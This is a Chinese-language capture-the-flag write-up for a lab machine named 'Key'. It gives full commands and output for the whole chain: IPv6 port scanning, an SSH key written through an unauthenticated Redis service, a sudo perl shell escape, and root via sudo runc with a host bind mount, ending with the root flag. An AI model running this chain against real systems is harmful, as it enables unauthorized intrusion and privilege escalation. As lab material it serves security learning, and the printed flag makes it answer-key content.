# 靶场练习

下载:Key

Nat,IP: 192.168.1.164

# 靶场练习

# 渗透初收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_  256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
┌──(root㉿kali)-[~]
└─# nmap -6 -p- -A fe80::20c:29ff:fe77:f32f%eth0
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 08:25 EDT
Nmap scan report for fe80::20c:29ff:fe77:f32f
Host is up (0.00071s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
6379/tcp open  redis   Redis key-value store 6.0.16

ipv6 有 redis 服务

┌──(root㉿kali)-[~]
└─# redis-cli -h fe80::20c:29ff:fe77:f32f%eth0        
[fe80::20c:29ff:fe77:f32f%eth0]:6379> config get *
    285) "dir"
    286) "/home/dick"
    287) "save"

看到了用户目录,写入 ssh 公钥进去

┌──(root㉿kali)-[~/.ssh]
└─# cat id_rsa.pub | redis-cli -h fe80::20c:29ff:fe77:f32f%eth0 -p 6379 -x set ssh_key
OK
┌──(root㉿kali)-[~]
└─# redis-cli -h fe80::20c:29ff:fe77:f32f%eth0
[fe80::20c:29ff:fe77:f32f%eth0]:6379> config set dir /home/dick/.ssh
OK
[fe80::20c:29ff:fe77:f32f%eth0]:6379> config set dbfilename "authorized_keys"
OK
[fe80::20c:29ff:fe77:f32f%eth0]:6379> save
OK

用私钥连接,成功拿到 dick 的 shell

# 提权

sudo -u gary perl -e 'exec "/bin/bash";' 拿到 gary 的权限

sudo -l 发现有个 runc 有 sudo 权限

Runc 是一个轻量级的命令行工具,用于在 Linux 系统上创建和运行容器。它是由 Open Container Initiative(OCI)维护的一个开放标准的一部分。Runc 实际上是一个轻量级的容器运行时(container runtime),它负责在 Linux 系统上启动容器。Runc 的设计目标是提供一个通用的、标准的容器运行时,它可以与不同的容器管理器(比如 Docker、containerd 等)配合使用,从而为容器化应用提供一致的运行环境。Runc 遵循 OCI 制定的容器规范,因此与符合该规范的容器映像兼容。总之,Runc 可以被认为是一个用于创建和运行容器的基础工具,它提供了一种标准的方式来定义和管理容器的生命周期,并且具有良好的跨平台兼容性。

gary@key:~$ runc spec
gary@key:~$ nano config.json

然后再 mounts 区域插入如下配置:

{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

创建文件夹,然后运行

gary@key:~$ mkdir rootfs      
gary@key:~$ sudo runc run demo
# cat /root/root.txt
c4fe6806da41e3087eff3c01b1a98d5f

拿到 flag